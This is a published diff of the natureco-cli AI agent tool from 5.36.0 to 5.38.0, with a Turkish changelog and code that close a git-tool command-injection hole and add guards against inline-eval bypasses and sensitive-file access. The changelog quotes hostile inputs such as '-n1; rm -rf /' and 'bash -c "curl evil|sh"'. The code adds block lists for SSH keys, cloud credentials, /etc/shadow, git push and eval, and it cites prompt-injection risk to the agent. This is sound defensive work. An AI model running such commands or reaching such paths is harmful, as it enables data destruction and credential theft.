natureco-cli 5.36.0 → 5.38.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -2,6 +2,30 @@
2
2
 
3
3
  All notable changes to NatureCo CLI will be documented in this file.
4
4
 
5
+ ## [5.38.0] - 2026-07-08 — "FİNAL DOĞRULAMA: git/code_execution/http_request düzeltmeleri + git enjeksiyon açığı kapatıldı"
6
+
7
+ Final doğrulama re-run'inde (agent yolu E2E) 3 fonksiyonel sorun + 1 güvenlik açığı bulundu ve düzeltildi.
8
+
9
+ ### 🔒 Güvenlik açığı (kapatıldı)
10
+ - **git args komut enjeksiyonu + remote-yazma bypass (KRİTİK)**: `git` özel aracı `execSync('git log ' + args)` ile STRING komut kuruyordu → `args` içindeki `;`, `&&`, `$()`, backtick shell'de çalışıyordu (ör. `args: "-n1; rm -rf /"`). Ayrıca bu araç, agentic-runner'daki `git remote add`/`git push` bloklarını GÖRMÜYORDU (özel araç, bash guard'ından geçmez) → remote-yazma bypass. Artık `execFileSync` (shell:false) + tırnak-farkındalıklı tokenizer → metakarakterler işlem görmez; `remote add/set-url/remove/rename` engelli (salt-okunur remote serbest). POC: `-n1; echo PWNED` → git argüman sanıp reddetti, echo hiç çalışmadı.
11
+
12
+ ### 🐛 Düzeltmeler
13
+ - **git "Unknown operation"**: araç yalnızca `operation` param'i kabul ediyordu; ajanlar `args:"log -n2"` gibi gönderince tanımıyor, bash'e sapıyordu. Artık esnek giriş (operation/args/command'dan parse), `cwd` param'i onurlandırma, env-tabanlı repo bulma (`NATURECO_PROJECT_DIR`/`INIT_CWD`/`PWD` — makineden bağımsız), +5 salt-okunur operasyon (show/remote/tag/describe/rev-parse). E2E: tek çağrıda `git:done`.
14
+ - **code_execution Python bulamıyor**: sabit `python3` Windows'ta App-execution-alias tuzağına düşüyordu. Artık aday-deneme (`py`/`python`/`python3` — *nix'te `python3`/`python`), node için garantili `process.execPath`; yorumlayıcı yoksa net "Python kurulu değil" mesajı. E2E: `12! = 479001600` doğru.
15
+ - **http_request `[object Object]`**: araç JSON gövdeyi PARSED NESNE döndürüyor, `buildFeedback` `String(obj)` yapınca `[object Object]` oluyordu → model değeri okuyamıyordu. Artık nesne alanlar JSON'a serileştirilir. E2E: nodejs/node stargazers_count doğru okundu.
16
+
17
+ Doğrulama: grep/git/http/code_execution ajan üzerinden E2E (hepsi `done`); gerçek PTY 9/9; komut denetimi 23/23; güvenlik 20/20 yıkıcı + 7/7 hassas-dosya + git enjeksiyonu POC kapalı. **521 test yeşil** (12 yeni regresyon: git-tool + buildFeedback nesne-body), ESLint temiz.
18
+
19
+ ## [5.37.0] - 2026-07-05 — "GÜVENLİK: 2 açık kapatıldı (inline-eval bypass + hassas dosya erişimi)"
20
+
21
+ Sistematik guvenlik taramasi (POC'larla). 20 yikici komuttan 19'u zaten engelliydi; 2 gercek acik bulundu ve kapatildi.
22
+
23
+ ### 🔒 Güvenlik açıkları (kapatıldı)
24
+ - **Inline-kod exec bypass (KRİTİK)**: `node`/`python` allowlist'te (kod calistirma icin gerekli) oldugundan `node -e "require('fs').rmSync(...)"` / `python -c "..."` / `bash -c "curl evil|sh"` gibi INLINE kod, hem exec-allowlist'i hem yikici-komut guard'ini ATLIYORDU (guard komut string'inde "rm -rf" ararken inline kod fs.rmSync kullanabilir). Artik `-e`/`--eval`/`-p`/`-c`/`-r` inline-kod flag'leri + `eval` engellendi; mesru `node script.js` calistirma korunur. Inline kod icin sandboxli `code_execution` araci var.
25
+ - **Hassas dosya erisimi**: safe modda `write_file`/`read_file`/`edit_file` SSH anahtarlari (`~/.ssh/`, `id_rsa`, `.pem`), cloud credential (`.aws/credentials`), config secret (`.natureco/config.json`), sistem (`/etc/passwd|shadow`, System32/etc), `.npmrc`/`.git-credentials`/`.netrc` yollarina erisebiliyordu → prompt-injection ile SSH backdoor / credential sizintisi riski. Artik bu yollar safe modda engelli (goreceli `../../etc/shadow` traversal dahil); proje dosyalari serbest; full modda sahibin sorumlulugunda acilir.
26
+
27
+ Katmanli guvenlik: yikici-komut guard + inline-eval guard + exec-allowlist + hassas-yol guard + 7 araclik safe-mode allowlist. 4 yeni guvenlik regresyon testi. **509 test yeşil**, ESLint temiz.
28
+
5
29
  ## [5.36.0] - 2026-07-05 — "13 PHANTOM ARAÇ TANITILDI + feedback body genisletmesi"
6
30
 
7
31
  Sistematik denetim: 90 aracin agentic prompt/allowlist ile karsilastirmasi → **70 arac ajana HIC tanitilmamisti (phantom)**. Yuksek-degerli + guvenli + key gerektirmeyenler tanitildi (kullanicinin "bende olup uygulamada olmayan tool'lari ekle" hedefi).
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "natureco-cli",
3
- "version": "5.36.0",
3
+ "version": "5.38.0",
4
4
  "description": "OpenClaw'dan daha güvenli, daha hızlı, daha ucuz AI agent CLI. Multi-agent, self-evolving skills, audit log, maliyet optimizasyonu ve NatureCo platform-native.",
5
5
  "bin": {
6
6
  "natureco": "bin/natureco.js"
@@ -59,6 +59,26 @@ function expandHome(p) {
59
59
  return p;
60
60
  }
61
61
 
62
+ // Hassas dosya yolu koruması (safe modda). Coding-agent proje dosyalarina serbest erisir
63
+ // ama kimlik/secret yollari prompt-injection ile suistimal edilebilir (SSH backdoor,
64
+ // credential sizintisi). Full modda (sahibin opt-in'i) bypass edilir.
65
+ const SENSITIVE_READ = [
66
+ /(^|[\\/])\.ssh[\\/]/i, /id_rsa|id_ed25519|id_ecdsa|id_dsa/i, /\.pem$|\.ppk$|\.key$/i,
67
+ /(^|[\\/])\.aws[\\/]/i, /gcloud[\\/].*(credential|token)/i, /(^|[\\/])\.npmrc$/i,
68
+ /(^|[\\/])\.git-credentials$/i, /\.natureco[\\/]config\.json$/i, /(^|[\\/])\.netrc$/i,
69
+ ];
70
+ const SENSITIVE_WRITE = [
71
+ /(^|[\\/])\.ssh[\\/]/i, // authorized_keys/config yazma = backdoor
72
+ /^\/(etc|usr|bin|sbin|boot|sys)[\\/]/i, // mutlak sistem yollari
73
+ /(^|[\\/])etc[\\/](passwd|shadow|sudoers|hosts|crontab|ssh)/i, // goreceli traversal dahil (../../etc/shadow)
74
+ /System32[\\/]drivers[\\/]etc/i, /\.aws[\\/]credentials/i,
75
+ ];
76
+ function sensitivePathBlocked(p, mode) {
77
+ const s = String(p || '');
78
+ const pats = mode === 'write' ? SENSITIVE_WRITE : SENSITIVE_READ;
79
+ return pats.some((re) => re.test(s));
80
+ }
81
+
62
82
  // Ajanin urettigi komutlar icin ekstra koruma. bash.js kendi politikasini uygular
63
83
  // ama varsayilan 'full' mod yikici komutlari (rm -rf gibi) bile gecirir — bu insan
64
84
  // icin bilincli olabilir, ama MODELIN urettigi komut icin degil. Bu yuzden agentic
@@ -89,6 +109,14 @@ const AGENT_EXEC_BLOCK_PATTERNS = [
89
109
  /\bnpm\s+publish\b/i, /\byarn\s+publish\b/i, /\bpnpm\s+publish\b/i,
90
110
  /\bgit\s+push\b/i, /\bgit\s+remote\s+(add|set-url)\b/i,
91
111
  /\bnpm\s+(un)?deprecate\b/i, /\bnpm\s+owner\b/i,
112
+ // INLINE KOD ÇALIŞTIRMA — allowlist bypass'i (node/python izinli ama -e/-c ile keyfi kod
113
+ // dangerous-guard'i da atlar: "node -e require('fs').rmSync(...)"). Dosya calistirma
114
+ // ("node script.js") izinli kalir; inline kod icin code_execution araci var.
115
+ /\b(node|deno|bun)\s+.*(-e|--eval|-p\b|--print)/i,
116
+ /\b(python3?|py|ruby|perl)\s+.*(-c|-e)\b/i,
117
+ /\b(bash|sh|zsh|dash|ksh)\s+.*-c\b/i,
118
+ /\bphp\s+.*-r\b/i,
119
+ /\beval\b/i,
92
120
  ];
93
121
  // Full modda ("agentExec: full") acilan computer-use araclari: tarayici otomasyonu,
94
122
  // uygulama ac/kapat, GUI (tikla/yaz/ekran goruntusu). Safe modda (varsayilan) KAPALI.
@@ -250,7 +278,13 @@ function buildFeedback(norm, res) {
250
278
  let body = '';
251
279
  const first = ['content', 'output', 'stdout', 'text', 'transcript', 'body', 'reply', 'answer', 'summary', 'url', 'path'];
252
280
  const jsonish = ['results', 'items', 'matches', 'data', 'events', 'entries', 'files'];
253
- for (const k of first) { if (res[k] != null && String(res[k]).trim()) { body = String(res[k]).slice(0, 2500); break; } }
281
+ // v5.38: body/data gibi alanlar nesne olabilir ( or. http_request JSON govdesi)
282
+ // String(obj) "[object Object]" verir ve model degeri okuyamaz; nesneyse JSON'a cevir.
283
+ for (const k of first) {
284
+ if (res[k] == null) continue;
285
+ const v = typeof res[k] === 'object' ? JSON.stringify(res[k]) : String(res[k]);
286
+ if (v.trim() && v !== '[object Object]') { body = v.slice(0, 2500); break; }
287
+ }
254
288
  if (!body) for (const k of jsonish) { if (res[k] != null) { body = JSON.stringify(res[k]).slice(0, 2000); break; } }
255
289
  if (!body) {
256
290
  // hicbir bilinen alan yok → sonucu oldugu gibi ver (success/error disi anlamli alanlar)
@@ -308,6 +342,17 @@ async function executeCall(call, opts = {}) {
308
342
  }
309
343
  if (args.path) args.path = expandHome(args.path);
310
344
 
345
+ // Hassas dosya yolu guard'i (safe modda; full modda sahibin sorumlulugunda). SSH anahtari,
346
+ // cloud credential, config secret gibi yollara yazma/okumayi engeller (backdoor/sizinti).
347
+ if (!opts.execFull && args.path) {
348
+ const wantsWrite = (norm === 'write_file' || norm === 'edit_file');
349
+ const wantsRead = (norm === 'read_file');
350
+ if ((wantsWrite && sensitivePathBlocked(args.path, 'write')) || (wantsRead && sensitivePathBlocked(args.path, 'read'))) {
351
+ records.push({ tool: norm, status: 'error', args: { path: args.path }, error: 'Hassas dosya yolu (guvenli modda engellendi)' });
352
+ return { records, feedback: `${norm}: "${args.path}" hassas bir yol (SSH anahtari/credential/secret) — guvenli modda ERISILEMEZ. Gerekirse kullanici manuel yapabilir ya da tam mod: NATURECO_AGENT_EXEC=full.` };
353
+ }
354
+ }
355
+
311
356
  // Ajan modu guvenlik guard'i: yikici/tehlikeli kabuk komutlarini calistirmadan engelle
312
357
  if (norm === 'bash') {
313
358
  const cmd = (args.command || args.cmd || '').toString();
@@ -397,4 +442,4 @@ async function runAgentic({ callModel, systemPrompt, historyMessages, task, tool
397
442
  return { records: allRecords, reply: finalReply, iterations };
398
443
  }
399
444
 
400
- module.exports = { parseAgenticCalls, stripProtocolTokens, executeCall, runAgentic, expandHome, makeStreamFilter, makeSanitizeStream, agentExecAllowed, TOOL_ALIASES, DEFAULT_ALLOWED };
445
+ module.exports = { parseAgenticCalls, stripProtocolTokens, executeCall, runAgentic, expandHome, makeStreamFilter, makeSanitizeStream, agentExecAllowed, buildFeedback, TOOL_ALIASES, DEFAULT_ALLOWED };
@@ -33,38 +33,50 @@ async function runCode({ code, language = 'auto', timeoutMs = 30000, cwd = null
33
33
  }
34
34
  }
35
35
 
36
- if (language === 'python') { cmd = 'python3'; args = ['-c', code]; }
37
- else if (language === 'node') { cmd = 'node'; args = ['-e', code]; }
38
- else if (language === 'bash' || language === 'shell') { cmd = 'bash'; args = ['-c', code]; }
36
+ // v5.38: Yorumlayici adaylari platformlar arasi saglam.
37
+ // node icin process.execPath her zaman mevcut; python icin Windows'ta py/python
38
+ // (python3 App-execution-alias tuzagina duser), *nix'te python3/python.
39
+ const isWin = process.platform === 'win32';
40
+ let candidates;
41
+ if (language === 'python') { candidates = isWin ? ['py', 'python', 'python3'] : ['python3', 'python']; args = ['-c', code]; }
42
+ else if (language === 'node') { candidates = [process.execPath]; args = ['-e', code]; }
43
+ else if (language === 'bash' || language === 'shell') { candidates = isWin ? ['bash'] : ['bash', 'sh']; args = ['-c', code]; }
39
44
  else return { success: false, error: `Desteklenmeyen dil: ${language}` };
40
45
 
41
- return new Promise((resolve) => {
42
- const proc = spawn(cmd, args, {
43
- cwd: cwd || os.homedir(),
44
- timeout: timeoutMs,
45
- env: { ...process.env, FORCE_COLOR: '0' },
46
- });
46
+ const truncated = (s) => s.length > 8000 ? s.slice(0, 8000) + '\n... (kesildi, ' + (s.length - 8000) + ' karakter daha)' : s;
47
47
 
48
- let stdout = '';
49
- let stderr = '';
48
+ const spawnOnce = (bin) => new Promise((resolve) => {
49
+ let stdout = '', stderr = '', proc;
50
+ try {
51
+ proc = spawn(bin, args, { cwd: cwd || os.homedir(), timeout: timeoutMs, env: { ...process.env, FORCE_COLOR: '0' } });
52
+ } catch (e) { return resolve({ notFound: true, err: e.message }); }
50
53
  proc.stdout.on('data', d => stdout += d.toString());
51
54
  proc.stderr.on('data', d => stderr += d.toString());
52
-
53
- proc.on('close', (code) => {
54
- const truncated = (s) => s.length > 8000 ? s.slice(0, 8000) + '\n... (kesildi, ' + (s.length - 8000) + ' karakter daha)' : s;
55
- resolve({
56
- success: code === 0,
57
- language,
58
- exitCode: code,
59
- stdout: truncated(stdout).trim(),
60
- stderr: truncated(stderr).trim(),
61
- output: truncated(stdout + (stderr ? '\n[STDERR]: ' + stderr : '')).trim(),
62
- });
63
- });
64
- proc.on('error', (e) => {
65
- resolve({ success: false, error: e.message, language });
66
- });
55
+ proc.on('error', (e) => resolve({ notFound: /ENOENT/i.test(e.message), err: e.message }));
56
+ proc.on('close', (exitCode) => resolve({
57
+ // 9009 (win) / 127 (*nix) veya alias mesaji = yorumlayici yok sonraki adaya gec
58
+ notFound: exitCode === 9009 || exitCode === 127 || /not found|not recognized|install from the Microsoft Store/i.test(stderr),
59
+ exitCode, stdout, stderr,
60
+ }));
67
61
  });
62
+
63
+ let r = { notFound: true };
64
+ for (const bin of candidates) {
65
+ r = await spawnOnce(bin);
66
+ if (!r.notFound) break; // yorumlayici bulundu (basarili ya da kod hatasi) — bunu kullan
67
+ }
68
+ if (r.notFound) {
69
+ const nice = language === 'python' ? 'Python bu sistemde kurulu degil.' : `${language} yorumlayicisi bulunamadi.`;
70
+ return { success: false, language, error: `${nice} (denenen: ${candidates.join(', ')})` };
71
+ }
72
+ return {
73
+ success: r.exitCode === 0,
74
+ language,
75
+ exitCode: r.exitCode,
76
+ stdout: truncated(r.stdout).trim(),
77
+ stderr: truncated(r.stderr).trim(),
78
+ output: truncated(r.stdout + (r.stderr ? '\n[STDERR]: ' + r.stderr : '')).trim(),
79
+ };
68
80
  }
69
81
 
70
82
  module.exports = {
package/src/tools/git.js CHANGED
@@ -1,4 +1,16 @@
1
- const { execSync } = require('child_process');
1
+ const { execFileSync } = require('child_process');
2
+
3
+ // v5.38 GUVENLIK: args'i shell'e sokmadan token'lara ayir. execFileSync shell:false ile
4
+ // calisir; boylece ";", "&&", "|", "$()", backtick gibi metakarakterler ISLEM GORMEZ —
5
+ // komut enjeksiyonu imkansiz. (Eski execSync `git log ${args}` enjeksiyona aciktir.)
6
+ function tokenizeArgs(s) {
7
+ if (!s) return [];
8
+ const out = [];
9
+ const re = /"([^"]*)"|'([^']*)'|(\S+)/g;
10
+ let m;
11
+ while ((m = re.exec(String(s))) !== null) out.push(m[1] ?? m[2] ?? m[3]);
12
+ return out;
13
+ }
2
14
 
3
15
  module.exports = {
4
16
  name: 'git',
@@ -17,27 +29,56 @@ module.exports = {
17
29
  required: ['operation']
18
30
  },
19
31
 
20
- execute({ operation, args = '', message = '' }) {
32
+ execute({ operation, args = '', message = '', command = '', cwd: userCwd = '' }) {
21
33
  // v5.6.22: Git repo otomatik bul - this baglami kayboldugu icin module-level helper kullan
22
- const cwd = findGitRepo();
34
+ // v5.38: ajan bir cwd verdiyse ve orada .git varsa onu kullan; yoksa oradan yukari tara.
35
+ const cwd = findGitRepo(userCwd);
36
+ // v5.38: Esnek giris — ajanlar farkli formatlarda gonderebilir (operation yerine args/command
37
+ // icinde "log -n 2" gibi). operation yoksa ilk token'i operation kabul et, gerisi args olur.
38
+ if (!operation && (command || args)) {
39
+ const raw = String(command || args).trim().replace(/^git\s+/i, '');
40
+ const m = raw.match(/^([a-z][a-z-]*)\s*([\s\S]*)$/i);
41
+ if (m) { operation = m[1].toLowerCase(); if (m[2].trim()) args = m[2].trim(); }
42
+ }
43
+ operation = String(operation || '').toLowerCase();
44
+ const tok = tokenizeArgs(args);
23
45
  try {
24
- let cmd;
46
+ let gitArgs;
25
47
  switch (operation) {
26
- case 'status': cmd = 'git status --short'; break;
27
- case 'diff': cmd = `git diff ${args || 'HEAD'}`; break;
28
- case 'log': cmd = `git log --oneline ${args || '-10'}`; break;
29
- case 'branches': cmd = 'git branch -a'; break;
30
- case 'add': cmd = `git add ${args || '.'}`; break;
31
- case 'commit': cmd = `git commit -m "${message.replace(/"/g, '\\"')}"`; break;
32
- default: return { success: false, error: 'Unknown operation' };
48
+ case 'status': gitArgs = ['status', '--short']; break;
49
+ case 'diff': gitArgs = ['diff', ...(tok.length ? tok : ['HEAD'])]; break;
50
+ case 'log': gitArgs = ['log', '--oneline', ...(tok.length ? tok : ['-10'])]; break;
51
+ case 'branch':
52
+ case 'branches': gitArgs = ['branch', '-a']; break;
53
+ case 'add': gitArgs = ['add', ...(tok.length ? tok : ['.'])]; break;
54
+ case 'commit': gitArgs = ['commit', '-m', String(message || '')]; break;
55
+ // v5.38: yaygin salt-okunur alt-komutlar (ajan bunlari da isteyebiliyor)
56
+ case 'show': gitArgs = ['show', ...(tok.length ? tok : ['HEAD'])]; break;
57
+ case 'remote': {
58
+ // GUVENLIK: remote yazma islemleri (add/set-url/remove/rename) engelli — push
59
+ // zeminini ve exec-allowlist bypass'ini kapatir. Sadece salt-okunur.
60
+ const sub = (tok[0] || '').toLowerCase();
61
+ if (['add', 'set-url', 'remove', 'rm', 'rename', 'prune', 'set-head', 'set-branches'].includes(sub)) {
62
+ return { success: false, error: `git remote "${sub}" engellendi (guvenlik: remote yazma yasak)` };
63
+ }
64
+ gitArgs = ['remote', ...(tok.length ? tok : ['-v'])]; break;
65
+ }
66
+ case 'tag': gitArgs = ['tag', ...tok]; break;
67
+ case 'describe': gitArgs = ['describe', ...(tok.length ? tok : ['--tags', '--always'])]; break;
68
+ case 'rev-parse': gitArgs = ['rev-parse', ...(tok.length ? tok : ['HEAD'])]; break;
69
+ default: return { success: false, error: `Bilinmeyen git islemi: "${operation}". Gecerli: status, diff, log, branch, add, commit, show, remote, tag, describe, rev-parse` };
33
70
  }
34
- const output = execSync(cmd, { cwd, stdio: 'pipe', encoding: 'utf8' });
35
- return { success: true, output: output.trim() };
71
+ // shell:false (execFile default) args ne olursa olsun shell yorumlamaz.
72
+ const output = execFileSync('git', gitArgs, { cwd, stdio: 'pipe', encoding: 'utf8' });
73
+ return { success: true, output: (output || '').trim() };
36
74
  } catch (err) {
37
75
  return { success: false, error: err.stderr?.toString() || err.message };
38
76
  }
39
77
  },
40
78
 
79
+ // v5.38: test icin — shell'e gitmeden token'lara ayirma davranisini dogrulamak icin
80
+ _tokenizeArgs: tokenizeArgs,
81
+
41
82
  /**
42
83
  * v5.6.22: Git repo bul - cwd'de yoksa ~/Projects ve parent dizinleri tara
43
84
  */
@@ -93,24 +134,30 @@ module.exports = {
93
134
  /**
94
135
  * Git repo bul - cwd'de yoksa ~/Projects ve parent dizinleri tara
95
136
  */
96
- function findGitRepo() {
137
+ function findGitRepo(startDir = '') {
97
138
  const fs = require('fs');
98
139
  const path = require('path');
99
140
  const os = require('os');
100
141
 
101
- if (fs.existsSync(path.join(process.cwd(), '.git'))) {
102
- return process.cwd();
142
+ // v5.38: ajanin verdigi cwd oncelikli — orada .git varsa onu, yoksa oradan yukari tara.
143
+ const seed = startDir && fs.existsSync(startDir) ? startDir : process.cwd();
144
+ if (fs.existsSync(path.join(seed, '.git'))) {
145
+ return seed;
103
146
  }
104
147
 
105
148
  const home = os.homedir();
106
149
  const candidates = [
150
+ // v5.38: makineden bagimsiz — env ipuclari once (repo dizini disindan calisilsa bile bulunur)
151
+ process.env.NATURECO_PROJECT_DIR,
152
+ process.env.INIT_CWD,
153
+ process.env.PWD,
107
154
  path.join(home, 'Projects', 'natureco-cli'),
108
155
  path.join(home, 'Projects'),
109
156
  path.join(home, 'projects'),
110
157
  path.join(home, 'code'),
111
158
  path.join(home, 'dev'),
112
159
  path.join(home, 'src'),
113
- ];
160
+ ].filter(Boolean);
114
161
 
115
162
  for (const dir of candidates) {
116
163
  try {
@@ -120,8 +167,8 @@ function findGitRepo() {
120
167
  } catch {}
121
168
  }
122
169
 
123
- let current = process.cwd();
124
- for (let i = 0; i < 5; i++) {
170
+ let current = seed;
171
+ for (let i = 0; i < 6; i++) {
125
172
  const parent = path.dirname(current);
126
173
  if (parent === current) break;
127
174
  try {
@@ -132,5 +179,5 @@ function findGitRepo() {
132
179
  current = parent;
133
180
  }
134
181
 
135
- return process.cwd();
182
+ return seed;
136
183
  }